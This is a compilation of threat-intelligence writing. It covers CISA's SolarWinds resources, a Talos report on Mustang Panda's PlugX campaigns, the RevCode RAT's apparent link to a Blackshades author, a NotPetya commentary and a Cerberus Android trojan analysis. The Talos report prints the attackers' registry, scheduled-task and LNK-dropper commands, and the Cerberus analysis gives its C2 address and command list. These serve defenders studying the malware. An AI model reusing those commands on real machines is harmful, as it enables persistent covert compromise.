defenders in detecting and responding to this activity. CISA is providing guidance on Remediating Networks Affected by the SolarWinds and Active Directory/M365 Compromise to support federal departments and agencies in evicting this threat activity from compromised on-premises and cloud environments. This guidance addresses tactics, techniques, and procedures (TTPs) leveraged by the threat actor. ### CISA Insights: SolarWinds and AD-M365 Compromise Risk Decisions for Leaders This CISA Insights will help executive leaders of affected entities understand and be able to articulate the threat, risk, and associated actions their organizations should take. CISA encourages affected organizations to review and apply the necessary guidance in the Remediating Networks Affected by the SolarWinds and Active Directory/M365 Compromise web page and CISA Insights. **MAR-10318845-1.v1 - SUNBURST | CISA** This report provides detailed analysis of several malicious artifacts associated with a sophisticated supply chain compromise of SolarWinds Orion network management software, identified by the security company FireEye as SUNBURST. **MAR-10320115-1.v1 - TEARDROP | CISA** This report provides detailed analysis of malicious artifacts associated with a sophisticated supply chain compromise of SolarWinds Orion network management software, identified by the security company FireEye as TEARDROP. ### CISA Releases New Alert on Post-Compromise Threat Activity in Microsoft Cloud Environments and Tools to Help Detect This Activity CISA has evidence of post-compromise advanced persistent threat (APT) activity in the cloud environment. Specifically, CISA has seen an APT actor using compromised applications in a victim’s Microsoft 365 (M365)/Azure environment and using additional credentials and Application Programming Interface (API) access to cloud resources of private and public sector organizations. This activity is in addition to what has been previously detailed in AA20-352A. ### CISA Releases Emergency Directive (ED) 21-01 Supplemental Guidance Version 3: Mitigate SolarWinds Orion Code Compromise This Alert provides guidance that supersedes Required Action 4 of ED 21-01 and Supplemental Guidance versions 1 and 2. ### CISA Releases Free Detection Tool for Azure/M365 Environment CISA has created a free tool for detecting unusual and potentially malicious activity that threatens users and applications in an Azure/Microsoft O365 environment. The tool is intended for use by incident responders and is narrowly focused on activity that is endemic to the recent identity- and authentication-based attacks seen in multiple sectors. ### CISA Alert (AA20-352A): Advanced Persistent Threat Compromise of Government Agencies, Critical Infrastructure, and Private Sector Organizations This Alert provides technical details, indicators of compromise, and mitigations for the ongoing compromise by the APT actor. This threat actor has demonstrated sophistication and complex tradecraft in these intrusions. CISA expects that removing the threat actor from compromised environments will be highly complex and challenging. It is likely that the adversary has additional initial access vectors and TTPs that have not yet been discovered. CISA will continue to update this Alert and the corresponding indicators of compromise (IOCs) as new information becomes available. ### CISA Insights: What Every Leader Needs to Know About the Ongoing Cyber Incident This CISA Insights complements CISA Alert AA20-352A and is geared toward C-suite leadership. It details the risk posed by the ongoing cyber incident and provides immediate actions that executives can take to assess the risk posed to their organization and enhance their operational security. ## Partner Products ### NSA Cybersecurity Advisory: Detecting Abuse of Authentication Mechanisms This NSA cybersecurity advisory describes tactics, techniques, and procedures used by malicious cyber actors to access protected data in the cloud and provides guidance on defending against and detecting such activity. ### SolarWinds Security Advisory This SolarWinds advisory describes the cyberattack to their system that inserted the SUNBURST vulnerability within the Orion Platform software builds, which, if present and activated, could potentially allow an attacker to compromise the server on which the Orion products run. ### FireEye Advisory: Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor This FireEye advisory addresses the supply chain attack trojanizing SolarWinds Orion Business software updates in order to distribute malware referred to as “SUNBURST.” ### FireEye GitHub Page: Sunburst Countermeasures The FireEye GitHub repository provides rules in multiple languages (Snort, Yara, IOC, ClamAV) to detect the threat actor and supply chain attacks in the wild. The information you have accessed or received is provided "as is" for informational purposes only. DHS and CISA do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply their endorsement, recommendation, or favoring by DHS or CISA.
# Mustang Panda Deploys a New Wave of Malware Targeting Europe By Jung Soo An, Asheer Malhotra, and Justin Thattil, with contributions from Aliza Berk and Kendall McKay. In February 2022, corresponding roughly with the start of the Russian invasion of Ukraine, Cisco Talos began observing the China-based threat actor Mustang Panda conducting phishing campaigns against European entities, including Russian organizations. Some phishing messages contain malicious lures masquerading as official European Union reports on the conflict in Ukraine and its effects on NATO countries. Other phishing emails deliver fake "official" Ukrainian government reports, both of which download malware onto compromised machines. Mustang Panda has been known to use themed lures relating to various current-day events and issues, including the COVID-19 pandemic, international summits, and various political topics. While the Ukraine-related Mustang Panda developments have been reported by at least one other security firm, we identified additional samples that have not been cited in open-source reporting. Apart from targeting European countries, Mustang Panda has also targeted organizations in the U.S. and Asia. In these campaigns, we've observed the deployment of Mustang Panda's PlugX implant, custom stagers, reverse shells, and meterpreter-based shellcode, all used to establish long-term persistence on infected endpoints with the intention of conducting espionage. ## Threat Actor Profile Mustang Panda, also known as "RedDelta" or "Bronze President," is a China-based threat actor that has targeted entities all over the world since at least 2012, including American and European entities such as government organizations, think tanks, NGOs, and even Catholic organizations at the Vatican. We've also observed extensive targeting of Asian countries as well, such as the Taiwanese government, activists in Hong Kong, NGOs in Mongolia and Tibet, Myanmar, and even Afghan and Indian telecommunication firms. The threat actor heavily relies on sending lures via phishing emails to achieve initial infection. These lures often masquerade as legitimate documents of national and organizational interest to the targets. These infection vectors deploy malware predominantly consisting of the PlugX remote access trojan (RAT) with custom stagers, reverse shells, meterpreter, and Cobalt Strike, which act as another mechanism for achieving long-term access into their targets. One thing remains consistent across all these campaigns — Mustang Panda is clearly looking to conduct espionage campaigns. ## Threat Actor TTPs Mustang Panda's recent activity targets European entities, including Russian targets, and uses political themes to deliver the PlugX family of malware implants. Typical infection chains employed by Mustang Panda consist of three key components: 1. **Benign executable**: Used to side-load a malicious DLL. 2. **Malicious DLL (loader)**: The malicious DLL accompanying the executable is usually a loader for the PlugX implant, typically an encrypted or encoded blob of data deployed by the loader DLL. 3. **PlugX implant**: A RAT implant used extensively by Mustang Panda. It consists of a malicious DLL that can perform a variety of actions on the infected endpoint including downloading and deploying new modules/plugins. Infection chains utilized by the APT group typically consist of: - **Executable downloaders**: These downloaders are delivered packaged in an archive. The downloaders are responsible for fetching and instrumenting various infection artifacts, resulting in the deployment of the PlugX implant on the infected endpoint. - **Archive-based infections**: Malicious archives delivered to targets typically consist of a benign executable with names meant to trick victims into executing them. The executable will load a malicious DLL which can either be the loader for the PlugX implant or a reverse shell or meterpreter-based shellcode downloader. - **Shortcut files**: Shortcuts (LNK files) delivered to victims consist of all the infection components embedded in the LNK files. These consist of intermediate components like BAT files that are meant to load the malicious DLLs which may be PlugX loaders or stagers. - **Maldocs**: We've also observed limited use of maldocs to target entities in Asia with the stagers and meterpreter payloads to execute the next stage of shellcode payloads. ## Targets Across the World ### European Political Lures This attacker started attacks earlier this year where a vast majority of the lures and decoys consisted of themes related to the European Union (EU). For example, in early January 2022, we saw the attackers employ a lure that consisted of a European Commission report on state aid to Greece between 2022 and 2027. Toward the end of January, the attackers started using a press release from the EU regarding the union's human rights priorities in 2022. The attackers also started taking advantage of publications and documents related to the degrading relations between Ukraine and Russia. In late January, the group started spreading a lure containing PlugX that disguised itself as a report from the EU's general secretary. When Russia invaded Ukraine on Feb. 24, 2022, the attackers started using related documents to infect their targets. A lure from Feb. 28 was disguised as a report on the situation along European borders with Ukraine, while another one in March consisted of a report on the situation along the European borders with Belarus. While the threat actors continued the use of regional and topical events in Eastern Europe, they also used other topics of interest to infect their victims. In March, we observed the use of a lure targeting Russian agencies, a malicious executable delivering the PlugX implant, named "Благовещенск - Благовещенский Пограничный Отряд.exe," roughly translating to "Blagoveshchensk - Blagoveshchensk Border Guard Detachment.exe," a report on the border detachment to Blagoveshchensk, a town of strategic importance to Russia, located on the Sino-Russian border. ### American-themed Political Lures Since at least May 2016, Mustang Panda has operated campaigns targeting multiple entities in the United States. Additionally, the APT has frequently used overlapping topics of interest to multiple entities across the globe. Some of their lures such as "U.S. Asst Secretary of State Visit to ASEAN Countries.rar" from December 2021 and "Biden's attitude towards the situation in Myanmar.zip" from February 2021 reaffirm this trend of targeting two birds with one stone. In all these instances, we observed the use of stagers as the final payloads in the infection chains instead of a direct deployment of PlugX. ### Asian-themed Lures Mustang Panda has been extremely prolific in targeting various government entities in Asian countries over the past few years such as those in Myanmar, Hong Kong, Japan, and Taiwan. The threat actor has aggressively targeted the government of Myanmar since 2019, even breaching their websites on multiple occasions to host malware payloads. This targeting continued into 2021 with lures related to the National Unity Government of Myanmar and its People's Defence Force. All these attacks resulted in the deployment of an implant executing meterpreter HTTP shellcode. Mustang Panda has frequently used the ASEAN summit as a topic for their lures to infect individuals participating in this summit. Using such topics enables the APT to infect a wide range of targets (the ASEAN association consists of 10 member countries in Southeast Asia). This tactic is in line with Mustang Panda's practice of using an overlapping topic of interest to target multiple entities with the same lures. In March 2021, the APT targeted government entities in Hong Kong using a malicious archive named "Report.rar." This archive contained a lure named "Report 18-3-2021 101A.exe" for sideloading a malicious DLL-based meterpreter stager. The keyword "101A" refers to Section 101A of the Criminal Procedure Ordinance which dictates terms of use of force in making arrests in Hong Kong, a hot topic on account of recent civil unrest and protests. Japanese government officials have also been targeted recently using lures masquerading as minutes of the Japanese cabinet's meetings in 2021. Lures such as "210615_Cabinet_Meeting_Minutes.exe" and "210831_21st Cabinet Meeting Minutes.rar" have been actively used to infect victims with custom stagers. ## Latest Infection Vectors ### Downloaders Beginning in 2022, we observed Mustang Panda distributing malicious executables acting as downloaders, disguised as fake reports on various Europe-related subjects as initial infection vectors against targets in Europe. These executables were usually distributed wrapped up in an archive file to the targets. Recently, ESET disclosed a similar infection delivering a previously unknown PlugX variant. As recently as March 2022, we discovered a downloader pretending to be a report on the current situation along European borders with Belarus. In another instance, we observed an executable named "Благовещенск - Благовещенский Пограничный Отряд.exe," roughly translating to "Blagoveshchensk - Blagoveshchensk Border Guard Detachment.exe," a report on the border detachment to Blagoveshchensk, a town located on the Sino-Russian border. The downloader loads all the artifacts in the infection chain. All the artifacts are data files that need to be decoded by the various infection components before being activated on the infected endpoint. There are four components downloaded as part of the infection chain: 1. The first component is a decoy PDF masquerading as an official European Union report on the conflict in Ukraine and its effects on NATO countries. This document is not malicious and only serves to project authenticity and distract the victim. 2. A benign executable that loads the third component — a malicious DLL-based loader — via the DLL sideloading technique. DLL sideloading involves tricking a benign process into loading a malicious DLL that disguises itself as legitimate. 3. The DLL loader responsible for decoding, loading, and activating the final malicious implant, is also a DLL. First, it reads a data file downloaded by the downloader binary from a hardcoded location on disk and decodes the data file into a DLL. Then, the loader reflectively loads the final DLL-based implant into the memory of the current process and runs it. 4. A RAT called PlugX, Mustang Panda's malware of choice. ### Archive-based Infections While Mustang Panda recently began using downloader executables, the group continues to deliver their malware via archive files consisting of a benign executable that loads and activates the accompanying malware payload DLL, which they have done since at least 2019. ### Bespoke Stagers Mustang Panda infections in late January 2022 resulted in the deployment of bespoke stagers that downloaded additional shellcode from a remote location that would, in turn, be deployed on the infected endpoint. The stager typically arrives in the form of an archive on the target's endpoint. The archive contains an executable that needs to be executed by the victims. Once executed, it loads the accompanying DLL, which is the key malicious component. The DLL is responsible for decoding an embedded blob of shellcode, which, when executed, acts as a stager that can download and execute additional shellcode from a C2 IP address. This infection tactic has been heavily used by Mustang Panda in Asia. For example, in February 2022, in a campaign targeting users from Southeast Asian countries, the group used an archive-file-based lure masquerading as documents pertaining to the ASEAN Summit. The archive consists of an executable named "ASEAN Leaders'Meeting.exe" that loads the accompanying DLL-based implant. The executable is a legitimate copy of a component belonging to the KuGou Active Desktop application. It imports two exported APIs from the malicious PlugX DLL to activate the implant. ### Stager Analysis The stager begins by creating persistence for itself across reboots via the registry Run key using the command and living-off-the-land binaries and scripts (LoLBAS): ``` c:\windows\system32\cmd.exe /C reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Amdesk /t REG_SZ /d "Rundll32.exe SHELL32.DLL,ShellExec_RunDLL "C:\Users\Public\Libraries\active_desktop\desktop_launcher.exe"" /f ``` Additionally, it will also set up persistence for itself to run every minute on the infected endpoint by creating a Scheduled Task on the system using the command: ``` C:\windows\system32\schtasks.exe /F /Create /TN Microsoft_Desktop /sc minute /MO 1 /TR C:\Users\Public\Libraries\active_desktop\desktop_launcher.exe ``` The implant will then decode and activate the next shellcode via a new thread. The shellcode decodes DLL and API names and resolves them for later use. The DLL names are hashed using the ror13AddHash32 algorithm. The implant will then collect the following information from the endpoint and send it to the C2: - Volume serial number, which it obfuscates by adding 0x12345678. The final result is sent to C2. - Retrieves the computer name and username and length. - Retrieves the uptime of the host. The collected host info is RC4 encrypted before sending it over to the C2. The RC4 key used is (hex): 78 5a 12 4d 75 14 14 11 6c 02 71 15 5a 73 05 08 70 14 65 3b 64 42 22 23 20 00 00 00 00 00 00 00. Pre-encryption format: 0x0A + <Encoded Volume serial number> + <uptime> + <hostname> + <username>. Post-encryption, the shellcode then attempts to connect to the C2 IP address to retrieve additional shellcode that can then be executed on the infected endpoint. ### Meterpreter Another type of stager used by Mustang Panda, some as recently as late 2021, are DLL-based implants that decode and execute Meterpreter reverse-HTTP payloads to download and execute even more payloads from the C2. We observed this actor using Meterpreter dating back to 2019, when it was deployed via malicious archives hosted on the Myanmar government's website. Meterpreter's use as an intermediate access mechanism continued at least into June 2021, with a brief lull, followed by the adoption of bespoke stagers in 2022. ### Reverse Shell In late February 2022, the threat actors used another previously undisclosed Ukrainian-themed lure named "Офіційна заява Апарату РНБО України\Про введення в дію плану оборони України та Зведеного плану територіальної оброни України.exe," which roughly translates to "official statement from the National Security and Defense Council of Ukraine." This infection chain consisted of activating a simple, yet new, TCP-based reverse shell using cmd.exe as opposed to directly deploying the PlugX implant, stagers, and Meterpreter seen in parallel infection chains from Mustang Panda. The reverse shell DLL will copy itself and the executable responsible for loading it into a folder on a target machine's disk, such as: ``` C:\Users\Public\Libraries\iloveukraine\Microsoft_Silverlight.exe C:\Users\Public\Libraries\iloveukraine\kdump.dll ``` The implant is also responsible for setting up persistence on the system to ensure the reverse shell runs once a minute via a scheduled task: ``` C:\windows\system32\schtasks.exe /F /Create /TN Microsoft_Silverlight /sc minute /MO 1 /TR C:\Users\Public\Libraries\iloveukraine\Microsoft_Silverlight.exe ``` ### Shortcut Files (LNK) The use of shortcut files (LNK) has been a popular technique with Mustang Panda since at least 2019 against entities in Asian countries. While the frequency of use of this tactic has reduced over the past couple of years, it is still seen being sporadically utilized by the threat actors. As late as March 2021, a shortcut file targeting users in Myanmar deployed Mustang Panda's Stager against their targets. This shortcut file consists of a command to extract content from itself and execute as a BAT file: ``` /c for %x in (%temp%=%cd%) do for /f "delims==" %i in ('dir "%x\2021-03-11.lnk" /s /b') do (more +540 /S %i |find "PGL">%public%\gtgc.bat& %public%\gtgc.bat) ``` The BAT is responsible for extracting the next JavaScript payload and executing it via wscript.exe on the endpoint. The JS code will extract an executable and a DLL-based stager to disk, followed by the execution of the executable, thus establishing persistence on the system and establishing communications with the C2. ### Maldocs In some instances, we also observed the use of maldocs targeting Asian countries such as Taiwan to deploy stagers that could execute meterpreter shellcode to communicate with the C2 server and execute the next payloads on the infected system. The malicious macros contain two more components that are dropped to disk on the infected system. One component is a benign executable that is run by the macro to load the second component, a malicious DLL, which establishes persistence for the EXE and DLL via the registry Run key. ``` /C reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Acerodp /t REG_SZ /d "Rundll32.exe SHELL32.DLL,ShellExec_RunDLL "C:\Users\Public\Libraries\win\Acrobat.exe"" /f ``` Then, the DLL executes the shellcode embedded in it — a meterpreter reverse HTTP shell to download and execute the next payload. ## Conclusion Over the years, Mustang Panda has evolved their tactics and implants to target a wide range of entities spanning multiple governments in three continents, including the European Union, the U.S., Asia, and pseudo allies such as Russia. By using summit- and conference-themed lures in Asia and Europe, this attacker aims to gain as much long-term access as possible to conduct espionage and information theft. Apart from Mustang Panda's tool of choice, PlugX, we've observed a steady increase in the use of intermediate payloads such as a variety of stagers and reverse shells. The group has also continuously evolved its delivery mechanisms consisting of maldocs, shortcut files, malicious archives, and more recently seen downloaders starting with 2022. Mustang Panda is a highly motivated APT group relying primarily on the use of topical lures and social engineering to trick victims into infecting themselves. In-depth defense strategies based on a risk analysis approach can deliver the best results in protecting against such a highly motivated set of threat actors. However, this should always be complemented by a good incident response plan which has not only been tested with tabletop exercises but also reviewed and improved every time it is put to the test on real engagements.
# Who’s Behind the RevCode WebMonitor RAT? The owner of a Swedish company behind a popular remote administration tool (RAT) implicated in thousands of malware attacks shares the same name as a Swedish man who pleaded guilty in 2015 to co-creating the Blackshades RAT, a similar product that was used to infect more than half a million computers with malware. At issue is a program called “WebMonitor,” which was designed to allow users to remotely control a computer (or multiple machines) via a web browser. The makers of WebMonitor, a company in Sweden called “RevCode,” say their product is legal and legitimate software “that helps firms and personal users handle the security of owned devices.” But critics say WebMonitor is far more likely to be deployed on “pwned” devices, or those that are surreptitiously hacked. The software is broadly classified as malware by most antivirus companies, likely thanks to an advertised feature list that includes dumping the remote computer’s temporary memory; retrieving passwords from dozens of email programs; snarfing the target’s Wi-Fi credentials; and viewing the target’s webcam. In a writeup on WebMonitor published in April 2018, researchers from security firm Palo Alto Networks noted that the product has been primarily advertised on underground hacking forums, and that its developers promoted several qualities of the software likely to appeal to cybercriminals looking to secretly compromise PCs. For example, RevCode’s website touted the software’s compatibility with all “crypters,” software that can encrypt, obfuscate and manipulate malware to make it harder to detect by antivirus programs. Palo Alto also noted WebMonitor includes the option to suppress any notification boxes that may pop up when the RAT is being installed on a computer. RevCode maintains it is a legitimate company officially registered in Sweden that obeys all applicable Swedish laws. A few hours of searching online turned up an interesting record at Ratsit AB, a credit information service based in Sweden. That record indicates RevCode is owned by 28-year-old Swedish resident Alex Yücel. In February 2015, a then 24-year-old Alex Yücel pleaded guilty in a U.S. court to computer hacking and to creating, marketing and selling Blackshades, a RAT that was used to compromise and spy on hundreds of thousands of computers. Arrested in Moldova in 2013 as part of a large-scale, international takedown against Blackshades and hundreds of customers, Yücel became the first person ever to be extradited from Moldova to the United States. Yücel was sentenced to 57 months in prison, but according to a record for Yücel at the U.S. Federal Bureau of Prisons, he was released on Nov. 1, 2016. The first advertisements in hacker forums for the sale of WebMonitor began in mid-2017. RevCode was registered as an official Swedish company in 2018, according to Ratsit. Until recently, RevCode published on its website a value added tax (VAT) number, an identifier used in many European countries for value added tax purposes. That VAT number has since been removed from the RevCode website and from historic records at The Internet Archive. The VAT number cited in that report is registered to Alex Yücel and matches the number listed for RevCode by Ratsit AB. Yücel could not be immediately reached for comment. But an unnamed person responded to an email sent to the customer support address listed at RevCode’s site. Presented with the information and links referenced above, the person responding wrote, “nobody working for/with RevCode is in any way related to BlackShades. Anything else suggesting otherwise is nothing but rumors and attempts to degrade our company by means of defamation.” The person responding from the RevCode support email address contended that the Alex Yücel listed as owner of the company was not the same Alex Yücel convicted of co-authoring Blackshades. However, unless the Ratsit record is completely wrong, this seems unlikely to be true. According to the Ratsit listing, the Alex Yücel who heads RevCode currently lives in a suburb of Stockholm, Sweden with his parents Can and Rita Yücel. Both Can and Rita Yücel co-signed a letter in June 2015 testifying to a New York federal court regarding their son’s upstanding moral character prior to Yücel the younger’s sentencing for the Blackshades conviction, according to court records.
# Why NotPetya Kept Me Awake (& You Should Worry Too) NotPetya may not have been the most sophisticated malware ever written. However, it was exceptionally effective due to the authors’ savvy exploitation of common security misconceptions and their deep understanding of poor security architecture. I want to briefly express my personal thoughts on why I found NotPetya particularly concerning and a bad omen for things to come for the digital world. ## Living Off The Land A lot of the news coverage on NotPetya is focusing heavily on the use of the stolen EternalBlue (MS17-010) exploit. In my opinion, this distracts from something more sinister, because patching Windows is in many cases a relatively clear and simple fix. NotPetya has a choice of several means to move across a LAN once it is inside a perimeter. As well as exploiting MS17-010, it can also use PsExec and WMIC to move from system to system after using a stripped down version of the Mimikatz tool to steal passwords from the system it is on. PsExec and WMI are common methods of administering Windows systems and are provided by Microsoft. I’m honestly a little surprised we haven’t seen worms taking advantage of these mechanisms so elegantly on a large scale until now. They are very popular tools in modern hacking. A good hacker avoids the use of malware and code exploits whenever possible. He or she may use them occasionally where no other practical option exists – for instance, exploits might be needed to escalate privileges on a system, or malware for initial phishing compromise – but every use of malicious code is one more potential detection point for traditional signature-based antivirus and Intrusion Prevention Systems (which are relied on exclusively far too often). There’s no sense in using malicious code when simpler and quieter means are available. The use of WMI to move laterally across a network is increasingly trendy, and the use of PsExec to do so is nigh archaic now. Both methods remain stunningly effective, because they are popular avenues for systems administration and often inadequately monitored. Logging of WMI lateral movement was quite tricky until Windows 8, and with large swathes of Windows 7 (and older) still in use in business it’s still frequently neglected. The use of these propagation methods alone is not likely to fire any built-in attack signature in traditional, signature-based security tools. There’s nothing to sandbox nor an unusual unique file hash to scan for. On the surface, this activity will look like administration, and might only be detected by more detailed behavioral analysis. With the speed that NotPetya was able to spread, this isn’t particularly practical. ## Abusing Mandatory Software One of the primary initial infection vectors of NotPetya was the compromise of the update package for a piece of Ukrainian financial software, M.E.Doc. According to reports, this software is one of only two software options Ukrainian businesses have to pay their taxes. This was a clever choice for three reasons: 1. Attacks were constrained somewhat to Ukraine (and companies that have interests there). 2. The distribution base within the country was extremely comprehensive. Ukrainian businesses would have a high chance to have this software on a computer. 3. The software company was relatively small and may potentially have been compromised previously, indicating it was potentially under-equipped to rapidly respond to a sophisticated attack on this scale. This is obviously not a new thought pattern – attackers have leveraged popular, commonly deployed software for exploitation for decades. Adobe Flash and Java were two of the more abused programs in recent history because they had extremely wide installation bases. However, that was within the context of commodity malware and crimeware which typically infect victims fairly indiscriminately. NotPetya delivery combined elements of a targeted watering hole attack we’ve traditionally seen used by nation states with traditional software exploitation to devastate a specific user base. Obviously, the potential of this avenue of attack can be explored further in the context of nearly any country or demographic. ## Masquerading as Ransomware? In both the case of WannaCry and NotPetya, we saw malware that was ostensibly ransomware end up not looking as much like it after a deep dive under the hood and into attacker behavior. WannaCry had lackluster response to handling actual payments, and NotPetya looked deceptively identical to the older ransomware Petya on the surface while functioning quite fundamentally differently (and not being particularly well designed to make money). This sowed confusion for responders, and eager security companies posted early misleading reports. Masking targeted attacks as crimeware is an interesting strategic choice which could indicate a number of very troubling things. I will leave further speculation on those to my natsec and threat intelligence colleagues. Ransomware is loud. Until Cryptolocker in 2013, the majority of crimeware tended to be purposefully quiet – stealing data and performing other nefarious tasks without its victim’s knowledge. Ransomware is intentionally disruptive. Independent of anything “cyber” it is also a tremendously effective criminal enterprise model, so it has become increasingly popular. There is plenty of clear evidence in the form of money and news stories that demonstrates how much ransomware can impact victim organizations and individuals’ lives. This means ransomware is also a great pretense for groups with other motives. They know their attack will cause misery and lost money, and news organizations cover ransomware attacks enthusiastically (often without much further digging). ## Abuse of Poor Network Security Architecture Beyond the use of native tools, NotPetya’s lateral movement mechanisms were extremely effective because they exploited common weaknesses in many big networks. Of course, unpatched (or not recently rebooted) Windows hosts were vulnerable to MS17-010 exploitation. Beyond that, lateral movement with WMI and PsExec is very effective in environments with poor network security architecture and implementation. Flat networks without segmentation were vulnerable. Networks where their use was permitted were vulnerable. Networks where desktop users commonly had workstation admin or domain admin permissions were vulnerable, and networks where these privileges were not restricted or tightly controlled were more so. Windows 10 credential guard was a potential mitigation against the theft of passwords from system memory, but it is infrequently deployed and not backwards compatible (or indeed, even compatible with every computer running Windows 10). All of these design and implementation problems are woefully common, repeatedly bemoaned by security professionals auditing and consulting on those networks. They are not easy or cheap problems to fix in many cases, and this is likely not going to be the case that pushes a lot of vulnerable organizations over the edge in mitigation. ## Yes, I’m Concerned If you work outside Ukraine, you probably got really lucky, yesterday. Many enterprises were tremendously vulnerable to this type of attack, had they merely been targeted by the initial attack vector one time. Blood is in the water. Not only have criminals found that ransomware is a great money-making scheme, but nation states and terrorist organizations have realized pseudo-ransomware makes a misleading and effective weapon. A weapon that can cause collateral damage, globally. Things are going to get worse, and the attack landscape is going to deteriorate. Malware relying more on legitimate credentials and native tools may easily render signature-based and hash-based solutions fundamentally less effective defenses. Organizations must no longer rely on black boxes with good sales pitches to band-aid fundamental architectural failures and neglected security best practices like out of date operating systems, liberal administration policies, legacy protocols, or flat networks. Defense in depth, including human threat hunting and effective detection and prevention at many points, is key. This will involve policy and financial buy-in from many lagging organizations at a new level.
# Cerberus Analysis - Android Banking Trojan Cerberus is an Android malware that emerged in 2019 but was allegedly used for special operations until two years ago. It has been determined by the analysts that it was not built on a banking trojan and the Anubis malware whose source code had leaked, or many similar trojans, but was written completely from scratch. ## Static Analysis - **MD5**: 872ebba0dfe0a28da3e91b0ee4d6df32 - **SHA1**: 6a87c50179b08740bcab9da69a869d7c881f40c4 - **SHA-256**: 9832b1ade1907849fd7091e85f2c24bd8a4488ecd96f0638fc979d8858b25196 - **C&C URL**: http://botduke1.ug The AndroidManifest.xml file shows that the application uses many permissions that can be used maliciously. In addition, the class name that is not in the code shows that the application loads some classes at run-time, and the classes that are not in the manifest file are put in order to complicate the code analysis. When we hook the application, we see that the malware creates the Ab.json file and DexClassLoader is detected in this file. In this way, the actual dex file (Ab.json) is loaded at run-time. After the application runs on the device, the files and directories under its own directory are listed as follows. When file.delete (Java level) and unlink syscall (System level) functions are hooked, it is seen that ring0.xml.bak, ring0.xml, Ab.json and Ab.dex files are tried to be deleted from the system. After pulling the Ab.json file from the device, we can see the qhsewqxnjwezdfj.mysoclyistirmcm.wkzf class in AndroidManifest.xml. You can use eybisi’s jadx fork to hide enum classes and for extra features. The RC4 algorithm is frequently used in malware. When we search for the “^” character in both the apk file and the Ab.json loaded at run-time, we can find the f class that encrypts with RC4. ### Decryption This method converts hex string to byte. The output is seen in the figure below: The output of the previous function (h) is passed to the RC4 cipher. It also decrypts using a hard-coded key. The e string in the c class is used as the RC4 decryption key. When the strings in the c class are decrypted with Base64+RC4, the strings used by the malware are accessed. The decrypted strings contain the application name, permissions, Telegram channel, parameters sent in the network traffic, the RC4 key used to analyze the network traffic, and the nick of the malware author “ring0”, which is one of the important data about the malware. Some of these strings are also available in the ring0.xml file under the shared_prefs directory of the application on the device. The malware can get all the contacts from the Android phone book with the CONTENT_URI field. After getting the phone book, the malware can send SMS messages. Malware can enable call forwarding to the specified number. The malware is also configured to run on Xiaomi systems. The code block for checking MIUI.UIversion is as follows: Malware changes its behavior depending on the system language. The system looks at its default language and displays notifications based on that data (from the “string L” seen in class c below). Android’s battery optimization feature suspends the app to conserve battery, but since it’s a malicious RAT, it constantly listens for commands from the attacker. Upon installation, the malware uses the REQUEST_IGNORE_BATTERY_OPTIMIZATIONS permission to prompt the user to ignore battery optimization for this app. Ignoring Battery Optimizations prevents the malware from being shut down by the battery optimization routine inside the device even when idle. Also, this method is used for blocking attempts to uninstall the app from the device. In above, we can see the message for blocking removal of TeamViewer app from the device. Cerberus uses TeamViewer for remote access to the victim's device. There are also some additional features in the malware. Using these commands, the device can be turned into a RAT (Remote Access Trojan). - grabbing_pass_gmail - grabbing_lockpattern - rat_connect - change_url_connect - request_permission - change_url_recover - run_admin_device - url - ussd - sms_mailing_phonebook - get_data_logs - grabbing_google_authenticator2 - remove_app - remove_bot - notification - send_sms - call_forward - run_app - patch_update ## Dynamic Analysis The application is hidden under the name “Vodafone 5G”. When the application is launched, it asks the user to enable Accessibility Service. After the user grants the requested permission, the malware abuses it by giving it additional permissions, such as permissions to send messages, perform some action commands from C&C, and make calls without requiring any user interaction. It also disables Google Play Protect to prevent it from being discovered and deleted in the future. The malware appropriately grants it additional privileges and secures its persistence on the device. If the user tries to uninstall the malicious application or tries to disable the accessibility of the malicious application, it can prevent the user from uninstalling the software. - TYPE_VIEW_CLICKED (eventType=1) - TYPE_VIEW_FOCUSED (eventType=8) - TYPE_VIEW_TEXT_CHANGED (eventType=16) - TYPE_WINDOW_STATE_CHANGED (eventType=32) After the user allows the Accessibility Service, the application icon is deleted from the menu. It then sends a request to the C&C server (http://botduke1.ug). Since C&C is not active during the analysis process, we cannot see all functions. When we look at the Cerberus analysis reports/blogs, we can see that the parameters listed below are used: - d_attacker_two - d_attacker - is_attacker - info_device - new_device - saved_data_attacker - saved_data_device - pause_attacker - saved_accessibility_events - upgrade_patch - connecting - saved_all_sms - saved_contacts - saved_applications - rat_connect - rat_cmd In the first request, the malware is trying to collect some data about the device. Requests sent by the device can be found as follows. The info_device request contains device data such as Device Battery Level, Device Language. This request keeps the C&C server updated with new information about the device. In the data in the resolved HTTP request, many personal and sensitive data on the device are sent to http://botduke1.ug, where the application communicates, by POST method. ## Features Cerberus has the same capabilities as most other Android banking trojans, such as overlay attacks and SMS checking. The Trojan can also take advantage of keystrokes to expand its attack coverage. - Overlaying: Dynamic (Local injects obtained from C2) - Keylogging - SMS listing - SMS forwarding - Device info collection - Contact list collection - Application listing - Location collection - SMS Sending - Calls: USSD request making - Calls: Call forwarding - Remote actions: App installing - Remote actions: App starting - Remote actions: App removal - Remote actions: Showing arbitrary web pages - Remote actions: Screen-locking - Notifications: Push notifications - Hiding the App icon - Preventing removal - Emulation-detection - Stealing 2FA tokens On August 2020, Cerberus group officially announced the project is indeed dead because of Google Play Protect's new functionality. Forum admin who bought Cerberus shared the source code publicly.
